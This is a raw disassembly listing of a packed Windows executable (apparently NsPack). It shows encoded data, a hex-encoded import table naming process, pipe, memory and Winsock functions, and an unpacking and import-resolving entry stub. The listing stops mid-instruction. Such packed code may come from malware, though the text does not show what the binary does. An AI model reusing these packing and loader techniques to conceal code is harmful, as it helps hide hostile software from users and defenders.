dword_46AAF4 dd 0 ; sub_418B28+22Cr ... dword_46AAF8 dd 1 ; sub_418AFDr ... dword_46AAFC dd 340650h ; sub_418AFD+8r ... dword_46AB00 dd 340000h ; sub_415E3D+21r ... dword_46AB04 dd 142340h ; sub_41C7C2+Fr ... dword_46AB08 dd 1 ; sub_41F409r dword_46AB0C dd 1 ; sub_41C384+11w ... dword_46AB10 dd 491B4Ch ; sub_4167D3:loc_416815r ... dword_46AB14 dd 491B40h ; sub_4167D3+Cr ... byte_46AB18 db 1 ; DATA XREF: sub_4200C4+15r ; sub_4200C4+1Ew align 4 dd 139h dup(0) dd 50h, 20000h, 74654701h, 74697845h, 65646F43h, 636F7250h dd 737365h, 74655301h, 69766E45h, 6D6E6F72h, 56746E65h dd 61697261h, 41656C62h, 6F430100h, 7261706Dh, 72745365h dd 57676E69h, 6F430100h, 7261706Dh, 72745365h, 41676E69h dd 65530100h, 646E4574h, 6946664Fh, 100656Ch, 61427349h dd 646F4364h, 72745065h, 73490100h, 52646142h, 50646165h dd 1007274h, 55746553h, 6E61686Eh, 64656C64h, 65637845h dd 6F697470h, 6C69466Eh, 726574h, 756C4601h, 69466873h dd 7542656Ch, 72656666h, 53010073h, 74537465h, 6E614864h dd 656C64h, 74654701h, 69727453h, 7954676Eh, 576570h, 74654701h dd 69727453h, 7954676Eh, 416570h, 74654701h, 656C6946h dd 65707954h, 65470100h, 64745374h, 646E6148h, 100656Ch dd 48746553h, 6C646E61h, 756F4365h, 100746Eh, 45746547h dd 7269766Eh, 656D6E6Fh, 7453746Eh, 676E6972h, 1005773h dd 45746547h, 7269766Eh, 656D6E6Fh, 7453746Eh, 676E6972h dd 46010073h, 45656572h, 7269766Eh, 656D6E6Fh, 7453746Eh dd 676E6972h, 1005773h, 74697845h, 65726854h, 1006461h dd 54746547h, 436B6369h, 746E756Fh, 75510100h, 50797265h dd 6F667265h, 6E616D72h, 6F436563h, 65746E75h, 51010072h dd 79726575h, 66726550h, 616D726Fh, 4665636Eh, 75716572h dd 79636E65h, 65470100h, 73795374h, 446D6574h, 63657269h dd 79726F74h, 47010041h, 6F4C7465h, 546C6163h, 656D69h dd 656C5301h, 1007065h, 746C754Dh, 74794269h, 576F5465h dd 43656469h, 726168h, 61655201h, 6C694664h, 43010065h dd 65736F6Ch, 646E6148h, 100656Ch, 74697257h, 6C694665h dd 54010065h, 736E6172h, 4E746361h, 64656D61h, 65706950h dd 72430100h, 65746165h, 656C6946h, 47010041h, 6F4D7465h dd 656C7564h, 656C6946h, 656D614Eh, 47010041h, 69547465h dd 6F46656Dh, 74616D72h, 47010041h, 61447465h, 6F466574h dd 74616D72h, 47010041h, 614C7465h, 72457473h, 726F72h dd 65724301h, 54657461h, 61657268h, 47010064h, 69467465h dd 6953656Ch, 100657Ah, 46746547h, 41656C69h, 69727474h dd 65747562h, 1004173h, 646E6946h, 736F6C43h, 46010065h dd 54656C69h, 54656D69h, 7379536Fh, 546D6574h, 656D69h dd 6C694601h, 6D695465h, 4C6F5465h, 6C61636Fh, 656C6946h dd 656D6954h, 69460100h, 654E646Eh, 69467478h, 41656Ch dd 6E694601h, 72694664h, 69467473h, 41656Ch, 74655301h dd 656C6946h, 6E696F50h, 726574h, 61654C01h, 72436576h dd 63697469h, 65536C61h, 6F697463h, 4501006Eh, 7265746Eh dd 74697243h, 6C616369h, 74636553h, 6E6F69h, 696E4901h dd 6C616974h, 43657A69h, 69746972h, 536C6163h, 69746365h dd 6E416E6Fh, 69705364h, 756F436Eh, 100746Eh, 656C6544h dd 72436574h, 63697469h, 65536C61h, 6F697463h, 4C01006Eh dd 4C64616Fh, 61726269h, 417972h, 74654701h, 636F7250h dd 72646441h, 737365h, 74654701h, 75646F4Dh, 6148656Ch dd 656C646Eh, 46010041h, 616D726Fh, 73654D74h, 65676173h dd 47010041h, 61626F6Ch, 6C6E556Ch, 6B636Fh, 6F6C4701h dd 4C6C6162h, 6B636Fh, 6D6E5501h, 69567061h, 664F7765h dd 656C6946h, 614D0100h, 65695670h, 46664F77h, 656C69h dd 65724301h, 46657461h, 4D656C69h, 69707061h, 41676Eh dd 74655301h, 656C6946h, 656D6954h, 65470100h, 6C694674h dd 6D695465h, 43010065h, 74616572h, 6F725065h, 73736563h dd 45010041h, 6E617078h, 766E4564h, 6E6F7269h, 746E656Dh dd 69727453h, 4173676Eh, 65530100h, 6C694674h, 74744165h dd 75626972h, 41736574h, 65470100h, 6D655474h, 74615070h dd 1004168h, 6B656550h, 656D614Eh, 70695064h, 44010065h dd 696C7075h, 65746163h, 646E6148h, 100656Ch, 43746547h dd 65727275h, 7250746Eh, 7365636Fh, 43010073h, 74616572h dd 70695065h, 47010065h, 65567465h, 6F697372h, 4178456Eh dd 6C470100h, 6C61626Fh, 6F6D654Dh, 74537972h, 73757461h dd 78450100h, 72507469h, 7365636Fh, 44010073h, 74656C65h dd 6C694665h, 1004165h, 6E65704Fh, 636F7250h, 737365h dd 74654701h, 72727543h, 50746E65h, 65636F72h, 64497373h dd 6F430100h, 69467970h, 41656Ch, 69615701h, 726F4674h dd 676E6953h, 624F656Ch, 7463656Ah, 72430100h, 65746165h dd 6574754Dh, 1004178h, 6D726554h, 74616E69h, 72685465h dd 646165h, 766F4D01h, 6C694665h, 1004165h, 65646957h dd 72616843h, 754D6F54h, 4269746Ch, 657479h, 74654701h dd 706D6F43h, 72657475h, 656D614Eh, 54010041h, 696D7265h dd 6574616Eh, 636F7250h, 737365h, 74654701h, 61636F4Ch dd 6E49656Ch, 416F66h, 74654701h, 69676F4Ch, 446C6163h dd 65766972h, 48010073h, 41706165h, 636F6C6Ch, 65480100h dd 72467061h, 1006565h, 556C7452h, 6E69776Eh, 47010064h dd 69547465h, 6F5A656Dh, 6E49656Eh, 6D726F66h, 6F697461h dd 4701006Eh, 79537465h, 6D657473h, 656D6954h, 65480100h dd 65527061h, 6F6C6C41h, 47010063h, 74537465h, 75747261h dd 666E4970h, 100416Fh, 43746547h, 616D6D6Fh, 694C646Eh dd 41656Eh, 74654701h, 73726556h, 6E6F69h, 61654801h, 73654470h dd 796F7274h, 65480100h, 72437061h, 65746165h, 69560100h dd 61757472h, 6572466Ch, 56010065h, 75747269h, 6C416C61h dd 636F6Ch, 42734901h, 72576461h, 50657469h, 1007274h dd 73696152h, 63784565h, 69747065h, 1006E6Fh, 70616548h dd 657A6953h, 434C0100h, 5370614Dh, 6E697274h, 1004167h dd 614D434Ch, 72745370h, 57676E69h, 65470100h, 49504374h dd 6F666Eh, 74654701h, 504341h, 74654701h, 434D454Fh, 55010050h dd 6E61686Eh, 64656C64h, 65637845h, 6F697470h, 6C69466Eh dd 726574h, 65724601h, 766E4565h, 6E6F7269h, 746E656Dh dd 69727453h, 4173676Eh, 5D0000h, 1AC0000h, 74FF0002h dd 73FF00h, 0FF0015FFh, 2FF000Ah, 0DFF00h, 0FF0001FFh dd 16FF0034h, 12FF00h, 0FF0097FFh, 9FF000Bh, 17FF00h, 0FF0004FFh dd 13FF0010h, 3FF00h, 0 dd 72D00h, 59072D00h, 3425D4ECh, 141B43A4h, 8CC78824h dd 2C0DBC22h, 0ABC37408h, 0E747726Fh, 70044E83h, 6A3B7544h dd 80921042h, 0B8CE236Dh, 0C756F198h, 516414CAh, 4E3109C4h dd 0AC422DA6h, 34D746A0h, 61A10DC0h, 0AC4774CEh, 70A9037h dd 961B553Bh, 5566DE30h, 9469F9B7h, 0A1B2C00h, 0D65DA084h dd 0FC0C3EA3h, 0D8832241h, 2AC830Dh, 29271848h, 0B0AC459Ch dd 6420EFE5h, 73E22996h, 8144AF52h, 55560066h, 82FB34Ah dd 0F28ACC0h, 615200EBh, 9013793h, 73EF73B0h, 0C80C913Bh dd 0AB1ED23Dh, 0C701DE03h, 0CB000B9Fh, 0FDC02BD8h, 4140C8h dd 0C1CB6154h, 3B826B5Eh, 266C1341h, 1F78336h, 2F1373DBh dd 65800213h, 42110433h, 96E05B6Fh, 8605FA4Bh, 45698E13h dd 0BF02343Ch, 5D7C5F43h, 0F3ED4003h, 0B33BB05h, 0FAAAB064h dd 5B355D8Bh, 8A575D4Dh, 4D290000h, 0AAB0A188h, 55965357h dd 9CFD9055h, 230F048h, 0D7766064h, 0D8335D34h, 50540758h dd 0B0484C03h, 44DCB073h, 2B245C3Ah, 0F0244307h, 0E7409B9Ah dd 0AA0D4B07h, 7F119568h, 40D00198h, 8660E9ACh, 66040CD6h dd 269C43C3h, 963F429Dh, 0C0245270h, 7E7FFE26h, 4B3176CDh dd 27536A36h, 481D9B49h, 34E87B80h, 99203977h, 6873732Ah dd 9C0A1455h, 4AA55518h, 7828296Fh, 71EB5874h, 0E07A9343h dd 319D0209h, 0AA818600h, 64800324h, 0E13B2C35h, 0CD9C2052h dd 8B535943h, 0A32D82C8h, 634F51AEh, 10945424h, 36428A6Bh dd 52F0FB00h, 0EF058E61h, 20812A34h, 92A36459h, 446CD882h dd 0E8C6C2Ah, 87D15192h, 0A8385Bh, 4572749h, 0DB03D35Fh dd 700BC63h, 40B87024h, 0F73E2F18h, 0C3080184h, 679E7B4h dd 3359B160h, 4A05337Bh, 726B300Eh, 455A3003h, 15816DD0h dd 0EC370448h, 46002CC8h, 55E4F6Dh, 0F5DB5613h, 100B0E32h dd 0F012FC17h, 0A4B1015Fh, 5EB02EBh, 37DBFE8h, 315BA550h dd 6B966C9h, 0FF0E7380h, 4DD3A243h, 17F9E2D8h, 0B00C15B1h dd 236FE028h, 400364C0h, 6B0C7830h, 7DBEDF77h, 9EB0840h dd 408D3404h, 8B3C057Ch, 0CA0403D0h, 44454803h, 8B78D0BFh dd 3DA8B97h, 995B1C59h, 57F4DBBEh, 100C1257h, 5D0A7981h dd 235D025Bh, 338BDBA2h, 0CF74030Ah, 0D4143B0Ah, 0C3814410h dd 37F82AAh, 0FF85DBA4h, 0F203D774h, 0D1526003h, 74671D19h dd 0B9014F34h, 4E1B2Ah, 8A015AAAh, 0CD17A76Ah, 0B321A277h dd 70F64E8h, 0FEDFFF0Fh, 0A5ED84DDh, 5D5B58C3h, 54EC8350h dd 8DFC8B9Eh, 0D78B4048h, 44B0AAF3h, 150737ABh, 515257F1h dd 55058951h, 7711E053h, 83D6FFFFh, 0C08554C4h, 5B2D32C3h dd 19B40754h, 0B9242C10h, 8482CC06h, 92C71C15h, 0F8149528h dd 0D6CDA83Bh, 0A6173F1Dh, 3B730398h, 5838A05Fh, 3F031F81h dd 0D90F161Bh, 38007F2Ch, 0C8234178h, 0F0382835h, 65036316h dd 962839EEh, 0F012D03h, 28324C80h, 10004820h, 244C95B2h dd 90212184h, 1811B01h, 76032001h, 1823F60h, 0C1732A02h dd 0DF3B42h, 0AB1E9DEAh, 1B07AC5Bh, 0F71A8EBBh, 71438F8h dd 1D2717A8h, 74D34D34h, 0A01AA407h, 34D3981Bh, 901FD34Dh dd 4D218813h, 804D34D3h, 700D780Eh, 0CFBA690Fh, 60576834h dd 0A6580507h, 1EA69A69h, 20501254h, 9A69A69Ah, 0B440C4Ch dd 9A69153Ch, 1C3469A6h, 0A624192Ch, 11A69A69h, 1614181Ch dd 9A69A69Ah, 2204170Ch, 0DCCF2300h, 0EFFC68EBh, 7D724h dd 0BD9B7FF0h, 0F80767B3h, 0FEF00FFh, 0CC300FDh, 7803B0Fh dd 13174410h, 97B02622h, 41DEF930h, 0EC7C0203h, 9C830B0Bh dd 200341ABh, 0F70D2D09h, 1315D521h, 402BB5Dh, 83B30708h dd 3A4E1BDh, 8279820Fh, 0DFA61721h, 0F9F91B07h, 81A5A1C9h dd 40FCE09Fh, 2FA8807Eh, 0BC611ECEh, 0A3DAA3C1h, 7FE81AFh dd 0B0219040h, 412FB541h, 66F0BF61h, 0E4A2CFB6h, 0A2E5E7A2h dd 5F5BA2E8h, 5EC7776Fh, 5109A17Eh, 5EDA0305h, 0DA5F8FDAh dd 5F81B66Ah, 0D332DAC9h, 0CCE0DED8h, 0D8397E31h, 1774D20h dd 3021603h, 4D34D307h, 18030437h, 60060D05h, 94C071Fh dd 7080B76h, 0C8360C92h, 0B1B0A09h, 0F7B3B06Ch, 0F073B57h dd 0C8131057h, 111BA760h, 21171203h, 360C8320h, 43410F35h dd 0D8360D83h, 17523350h, 0C570753h, 5F60D836h, 176C7B59h dd 3DC3EF6Dh, 3EB410Eh, 0B0AB72A3h, 0C77B06C1h, 81B3802Fh dd 1906C107h, 831F826Ch, 0D8364784h, 91C108h, 0A10F9E43h dd 8320D88Fh, 0A76FA40Dh, 83869FB7h, 1FCE360Ch, 0B0718D7h dd 9DEFBA4h, 0FC047h, 41040B1Dh, 9619019Ah, 190088Dh, 8F8E9019h dd 1901990h, 93929119h, 242760CCh, 8CE307CFh, 9DC0CF08h dd 1A730C55h, 9F70AB42h, 7C4DCFBh, 270798FBh, 3D670774h dd 1A6703E9h, 0F1A18CFh, 0F49E93F4h, 0C85719ACh, 1990DF19h dd 793D67F7h, 871968D6h, 18F81930h, 4D34D017h, 780774D3h dd 7AB079C0h, 0D3278A20h, 63FC3CA0h, 0F499EEEFh, 97A00F47h dd 107AE46h, 1258F652h, 66003054h, 0BBF6B0ACh, 19CB0022h dd 0C0222Fh, 0D2F2694h, 0F8AFD2D2h, 3523FC01h, 4D5E40BFh dd 3333D67h, 183B812Fh, 6BE33DDFh, 477F5BB0h, 0F1F08B70h dd 10074651h, 0B6745437h, 503B28BEh, 872C3F44h, 9B87FF43h dd 3328892Dh, 9EE90F00h, 0E70B2978h, 0AB5A033Bh, 78A69A69h dd 0F3D4B597h, 7029B6CBh, 330D4DDh, 33016DE8h, 5DD34D34h dd 7759033Ah, 0BAE9B496h, 0F2D3D353h, 32F27AAh, 23EC9C4Dh dd 0A0A06CA9h, 0C80B4002h, 92792705h, 4008FA97h, 0C3500C9Ch dd 92790FC8h, 12F4240Fh, 16989680h, 7E4FF3FFh, 19BEBC20h dd 1BC9BF04h, 0EDA1348Eh, 0C21BCECCh, 0FFFFFFD3h, 20404EFFh dd 70B59EF0h, 0C5ADA82Bh, 0D040699Dh, 0E525FD5Dh, 194F8E1Ah dd 714083EBh, 4395D796h, 0FFFFED0Eh, 298D05FFh, 0F9409EAFh dd 0ED44A0BFh, 818F1281h, 0BF40B982h, 0CFA6D53Ch, 781F49FFh dd 0FFFFFF3Ch, 0C66F40FFh, 80E98CE0h, 93BA47C9h, 85BC41A8h dd 3927556Bh, 0E070F78Dh, 0DDBC427Ch, 9DF9DE8Eh, 0FFFFFFFBh dd 0AA7EEBFFh, 0E6A14351h, 0F2CCE376h, 81842F29h, 10284426h dd 0AEF8AA17h, 0C4C5E310h, 0A7EB44FAh, 0FFFFFFD4h, 0EBF7F3FFh dd 957A4AE1h, 0CC6545CFh, 0A60E91C7h, 0E319A0AEh, 650D46A3h dd 81750C17h, 0C9767586h, 0FFFFFF48h, 42584DFFh, 3993A7E4h dd 0B2B8353Bh, 0A74D53EDh, 0C53D5DE5h, 9E8B3B5Dh, 5DFF5A92h dd 20A1F0A6h, 0FFFFFFC0h, 8CA554FFh, 0FDD16137h, 0D88B5A8Bh dd 0F9895D25h, 95AA67DBh, 0BF27F3F8h, 0DD5DC8A2h, 0C94C6E80h dd 0BF6B3F9Bh, 8A2097FFh, 0C4605202h, 0CDFA7525h, 0FB0001CCh dd 0FA3D713Fh, 0AF7FFFFh, 470A3D7h, 645A3FF8h, 8D4FDF3Bh dd 83126E97h, 0D3C33FF5h, 0E219652Ch, 17FFFFFFh, 0F1D1B7DDh dd 230FD03Fh, 471B4784h, 0EEA7C5ACh, 0B6A6403Fh, 5AF6C69h dd 0FF8637BDh, 0EBFFFFFFh, 0BC3D333Fh, 0D5E57A42h, 0E7D6BF94h dd 0FDFDC23Fh, 118461CEh, 0E4ABCC77h, 5B4C2F3Fh, 0FFC44DE1h dd 0BEFFFFFFh, 0C9E69594h, 53C4923Fh, 0CD44753Bh, 0AF9ABE14h dd 0BA67DE3Fh, 0AD453994h, 94CFB11Eh, 0FF23243Fh, 0C6FFFFFFh dd 3BBABCE2h, 7A8B6131h, 5955613Fh, 53B17EC1h, 5FBB127Ch dd 2FEED73Fh, 92BE068Dh, 0FFFB1585h, 44B7FFFFh, 0E9A53F23h dd 0EA27A539h, 3F2AA87Fh, 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h dd 0FF067B63h dd 0CCFFFFFFh, 83775423h, 3D8191FFh, 193AFA91h, 4325637Ah dd 3CACC031h, 38D18921h, 0B8974782h, 0FFD7FD00h, 3BFFFFFFh dd 85888DCh, 0E3E8B11Bh, 3B03A686h, 424584C6h, 7599B607h dd 3A2EDB37h, 0D21C7133h, 0FF32DB23h, 0EEFFFFFFh, 395A9049h dd 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h, 449F52A7h dd 2C10B759h, 0FFE44925h, 2DFFFFFFh, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 0E2228350h, 18FFFB7Fh, 62654B4Eh, 0AF8F83FDh, 117D9406h dd 0CE9FDE2Dh, 0DD04C8D2h, 9F8AD8A6h, 0B48B07D1h, 3F2E9B1Ch dd 0D84A5641h, 406780C3h, 87A01740h, 5FD3A87Ah, 86A0408Ah dd 1D1D35ACh, 6C2C6C37h, 202EAF60h, 0BE028F1Fh, 6F5F2241h dd 0B5E85F66h, 1F601D51h, 25FCB74h, 0AD5CE47Bh, 4000CF18h dd 0A8208A48h, 50510240h, 0A0028C81h, 40051902h, 800A3205h dd 14640Ah, 28C815h, 151902Ah, 2A32054h, 54640A8h, 0A8C8150h dd 141902A0h, 28320540h, 51640A80h, 0A3C81500h, 46902A00h dd 8C205401h, 1940A802h, 32815005h, 0D002A00Ah, 50150511h dd 4549F800h, 65470151h, 64401774h, 6CDB87A2h, 7D20AA93h dd 81275313h, 5669C082h, 113B461h, 9F6972C0h, 543C0018h dd 36728700h, 0B9506764h, 38410F57h, 0F00155Fh, 2D664F64h dd 16B05101h, 427349FBh, 1F586461h, 0CF7E80Dh, 290DB050h dd 74116E55h, 64BC80ACh, 0BB70045h, 74367F02h, 70001C65h dd 0CC12007h, 20CD9B76h, 646491ECh, 0AAA82F48h, 72B32C59h dd 0BAC8645Eh, 410F57C5h, 0B037B33Dh, 3A2C0DE7h, 3B980A48h dd 1D534404h, 3D842EEAh, 5773454Bh, 21D09917h, 65EC6D81h dd 0B1F6432Fh, 3B815158h, 6B636954h, 0A2C261h, 0A2C22908h dd 5E011800h, 3668802Fh, 21B38CB3h, 0D5C54404h, 0A200B9B7h dd 6D5BA74Ch, 2B4001C8h, 634C2B4h, 47F6FB42h, 7479420Dh dd 69576FECh, 1525C64h, 59B8384Ch, 3B5A8265h, 1CE0020h dd 0F827AC57h, 17CD5540h, 0BB63610Ch, 34002070h, 2A706990h dd 0DCCD9800h, 666B1EBCh, 81A2F62Fh, 6513240Fh, 7AFBECEEh dd 0F74AE46h, 0B60F3144h, 5F800AACh, 4B0E004Eh, 80911218h dd 9B021D93h, 0B974410Ch, 0F520AC46h, 9EE73C72h, 0A310AD7Bh dd 681B1EACh, 0DCC242D1h, 150B0304h, 367D8B04h, 4E390E2Ch dd 48527865h, 370D61D9h, 530F33FBh, 9DB0A06Ch, 696F50F0h dd 768F4C75h, 89300126h, 67B2F10Ah, 0BE405598h, 0A2C1151Ch dd 23499802h, 6476ED08h, 53634130h, 65E15070h, 6F2882AFh dd 6820A253h, 55F9A76Dh, 31F0869Dh, 4B095FBDh, 61635498h dd 2688029Dh, 2348A9BCh, 624DE000h, 2F612F31h, 2E55EA22h dd 0B5BF480Dh, 130B4CD8h, 69567028h, 0DD697765h, 4D761612h dd 7018CA0Eh, 49212EC9h, 0C47339Ah, 61A438FBh, 0CA41FC2Dh dd 0F0949270h, 44E58656h, 0EB4005B9h, 665168Ch, 4638D8C0h dd 955001F2h, 869546Bh, 0BA325101h, 1554426h, 64BDE08Bh dd 2F7F70C1h, 8136841Eh, 285D708h, 9000148Ah, 3148B97h dd 3B69EF80h, 2C38C900h, 6C01B47Ah, 68174009h, 0D7EC1DA1h dd 70AF6449h, 61572C79h, 200C7146h, 0D953AE80h, 3E8AB76Ch dd 4D8AD877h, 85547DD9h, 0DB8AF180h, 18D4B0C5h, 6B76B0D2h dd 10148E6Ch, 738192CDh, 9876484Bh, 5E4203DFh, 49750003h dd 61FC65C5h, 21380055h, 0B6008214h, 6B48216Eh, 9AF4D170h dd 720AF39Dh, 261574D2h, 7709D1C9h, 235A87DBh, 0E3C7B149h dd 176F3443h, 0D6B16630h, 48083B6Ch, 0A045921Bh, 97605A2h dd 0AAF5C3AFh, 0A96EA277h, 0C0100279h, 6B583A6Ch, 0C6CC3BCh dd 4264E017h, 9AE65B30h, 610C92A9h, 26BC09D4h, 52ED61DEh dd 500C04D9h, 3052D8CEh, 0FD293C70h, 3194434Ch, 584D9DECh dd 5095570Dh, 0DE0C0AA1h, 0B416D63h, 4D454F07h, 11D02F09h dd 41952302h, 5418E0DDh, 0E501AC05h, 2BAD74FFh, 7302B2CBh dd 0D0E0A15h, 59659602h, 16340196h, 5A0B9712h, 9596596h dd 13100417h, 0A0BDFB4h, 72D001Ch, 3, 12000000h, 0FF00h dd 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_46C3B0: ; CODE XREF: start+272j pusha mov esi, offset dword_454000 lea edi, [esi-53000h] push edi or ebp, 0FFFFFFFFh jmp short loc_46C3D2 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- align 8 ; START OF FUNCTION CHUNK FOR start loc_46C3C8: ; CODE XREF: start:loc_46C3D9j mov al, [esi] inc esi mov [edi], al inc edi loc_46C3CE: ; CODE XREF: start-2D14j start-2CFDj add ebx, ebx jnz short loc_46C3D9 loc_46C3D2: ; CODE XREF: start-2DBAj mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_46C3D9: ; CODE XREF: start-2DAAj jb short loc_46C3C8 mov eax, 1 loc_46C3E0: ; CODE XREF: start-2D8Bj start-2D80j add ebx, ebx jnz short loc_46C3EB mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_46C3EB: ; CODE XREF: start-2D98j adc eax, eax add ebx, ebx ja short loc_46C3E0 jnz short loc_46C3FC mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_46C3E0 loc_46C3FC: ; CODE XREF: start-2D89j xor ecx, ecx sub eax, 3 jb short loc_46C410 shl eax, 8 mov al, [esi] inc esi xor eax, 0FFFFFFFFh jz short loc_46C482 mov ebp, eax loc_46C410: ; CODE XREF: start-2D79j add ebx, ebx jnz short loc_46C41B mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_46C41B: ; CODE XREF: start-2D68j adc ecx, ecx add ebx, ebx jnz short loc_46C428 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_46C428: ; CODE XREF: start-2D5Bj adc ecx, ecx jnz short loc_46C44C inc ecx loc_46C42D: ; CODE XREF: start-2D3Ej start-2D33j add ebx, ebx jnz short loc_46C438 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_46C438: ; CODE XREF: start-2D4Bj adc ecx, ecx add ebx, ebx ja short loc_46C42D jnz short loc_46C449 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_46C42D loc_46C449: ; CODE XREF: start-2D3Cj add ecx, 2 loc_46C44C: ; CODE XREF: start-2D50j cmp ebp, 0FFFFF300h adc ecx, 1 lea edx, [edi+ebp] cmp ebp, 0FFFFFFFCh jle short loc_46C46C loc_46C45D: ; CODE XREF: start-2D16j mov al, [edx] inc edx mov [edi], al inc edi dec ecx jnz short loc_46C45D jmp loc_46C3CE ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR start loc_46C46C: ; CODE XREF: start-2D1Fj start-2D01j mov eax, [edx] add edx, 4 mov [edi], eax add edi, 4 sub ecx, 4 ja short loc_46C46C add edi, ecx jmp loc_46C3CE ; --------------------------------------------------------------------------- loc_46C482: ; CODE XREF: start-2D6Ej pop esi sub edi, [edi-4] push edi mov edi, esi mov ecx, 0CDCh loc_46C48E: ; CODE XREF: start-2CE5j start-2CE0j mov al, [edi] inc edi sub al, 0E8h loc_46C493: ; CODE XREF: start-2CC2j cmp al, 1 ja short loc_46C48E cmp byte ptr [edi], 12h jnz short loc_46C48E mov eax, [edi] mov bl, [edi+4] shr ax, 8 rol eax, 10h xchg al, ah sub eax, edi sub bl, 0E8h add eax, esi mov [edi], eax add edi, 5 mov eax, ebx loop loc_46C493 pop edi loc_46C4BB: ; CODE XREF: start-2C9Dj mov eax, [edi] or eax, eax jz short loc_46C504 mov ebx, [edi+4] lea eax, [eax+esi+6C000h] add ebx, esi push eax add edi, 8 call dword ptr [esi+6C03Ch] xchg eax, edx loc_46C4D8: ; CODE XREF: start-2C7Aj mov al, [edi] inc edi or al, al jz short loc_46C4BB push edx mov ecx, edi jns short near ptr loc_46C4EA+1 movzx eax, word ptr [edi] inc edi push eax inc edi loc_46C4EA: ; CODE XREF: start-2C98j mov ecx, 0AEF24857h push edx call dword ptr [esi+6C040h] pop edx or eax, eax jz short loc_46C502 mov [ebx], eax add ebx, 4 jmp short loc_46C4D8 ; --------------------------------------------------------------------------- loc_46C502: ; CODE XREF: start-2C81j popa retn ; --------------------------------------------------------------------------- loc_46C504: ; CODE XREF: start-2CBBj popa jmp sub_417AF8 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- align 4 dd 2C0h dup(0) dd 6D050h, 6D03Ch, 3 dup(0) dd 6D05Dh, 6D048h, 5 dup(0) dd 7C801D77h, 7C80ADA0h, 0 dd 71AB9639h, 0 dd 4E52454Bh, 32334C45h, 4C4C442Eh, 32535700h, 2E32335Fh dd 6C6C64h, 6F4C0000h, 694C6461h, 72617262h, 4179h, 50746547h dd 41636F72h, 65726464h, 7373h, 6C000h, 0Ch, 33B2h, 0 dd 8, 3D9h dup(0) dd 13h, 0 dd 6D03Ch, 80ADA077h, 12000E7Ch, 0D000000h, 48000000h dd 390006D0h, 571AB96h, 4 dup(0) dd 616F4C00h, 62694C64h, 79726172h, 74654741h, 636F7250h dd 72646441h, 0FF737365h, 80000003h, 3EBh dup(0) _nsp0 ends ; Section 2. (virtual address 0006F000) ; Virtual size : 00019000 ( 102400.) ; Section size in file : 00019000 ( 102400.) ; Offset to raw data for section: 0006F000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _nsp1 segment para public 'CODE' use32 assume cs:_nsp1 ;org 46F000h assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing dd 906h, 0 dd 6E000h, 0 dd 400000h, 0 dd 71AB0000h, 7 dup(0) dd 340000h, 0 dd 400000h, 0Ah dup(0) dd 2, 168h, 2 dup(0) dd 1, 0 dd offset sub_401000, 0 dd 17C63h, 3 dup(0) dd 7C801D77h, 7C80ADA0h, 7C801AD0h, 7C809A51h, 7C809AE4h dd 7C81CDDAh, 0 dd 71AB9639h, 4 dup(0) dd 6F0FCh, 6F09Ch, 3 dup(0) dd 6F109h, 6F0B8h, 5 dup(0) dd 4E52454Bh, 32334C45h, 4C4C442Eh, 32535700h, 2E32335Fh dd 4C4C44h, 6F4C0000h, 694C6461h, 72617262h, 4179h, 74654700h dd 636F7250h, 72646441h, 737365h, 69560000h, 61757472h dd 6F72506Ch, 74636574h, 56000000h, 75747269h, 6C416C61h dd 636F6Ch, 69560000h, 61757472h, 6572466Ch, 65h, 74697845h dd 636F7250h, 737365h, 71890000h, 3BB8D10h db 0BEh, 53h ; =============== S U B R O U T I N E ======================================= public start start proc near ; FUNCTION CHUNK AT 0046C3B0 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0046C3C8 SIZE 000000A3 BYTES ; FUNCTION CHUNK AT 0046C46C SIZE 0000009E BYTES ; FUNCTION CHUNK AT 0046F53A SIZE 00000009 BYTES pushf pusha call $+5 pop ebp sub ebp, 7 lea ecx, [ebp-0FEh] cmp byte ptr [ecx], 1 jz loc_46F3D6 mov byte ptr [ecx], 1 mov eax, ebp sub eax, [ebp-16Ah] mov [ebp-16Ah], eax add [ebp-13Ah], eax lea esi, [ebp-0F6h] add [esi], eax push ebp push esi push 40h push 1000h push 1000h push 0 call dword ptr [ebp-0D2h] test eax, eax jz loc_46F53A mov [ebp-142h], eax call $+5 pop ebx mov ecx, 367h add ebx, ecx push eax push ebx call sub_46F49B pop esi pop ebp mov esi, [esi] mov edi, ebp add edi, [ebp-17Ah] mov ebx, edi cmp dword ptr [edi], 0 jnz short loc_46F208 add edi, 4 mov ecx, 0 jmp short loc_46F21E ; --------------------------------------------------------------------------- loc_46F208: ; CODE XREF: start+82j mov ecx, 1 add edi, [ebx] add ebx, 4 loc_46F212: ; CODE XREF: start+CFj cmp dword ptr [ebx], 0 jz short loc_46F24B add [ebx], edx mov esi, [ebx] add edi, [ebx+4] loc_46F21E: ; CODE XREF: start+8Cj push edi push ecx push ebx push dword ptr [ebp-0CEh] push dword ptr [ebp-0D2h] mov edx, esi mov ecx, edi mov eax, [ebp-142h] add eax, 5AAh call eax pop ebx pop ecx pop edi cmp ecx, 0 jz short loc_46F24B add ebx, 8 jmp short loc_46F212 ; --------------------------------------------------------------------------- loc_46F24B: ; CODE XREF: start+9Bj start+CAj push 8000h push 0 push dword ptr [ebp-142h] call dword ptr [ebp-0CEh] lea esi, [ebp-13Ah] mov ecx, [esi+8] lea edx, [esi+10h] mov esi, [esi] mov edi, esi cmp ecx, 0 jz short 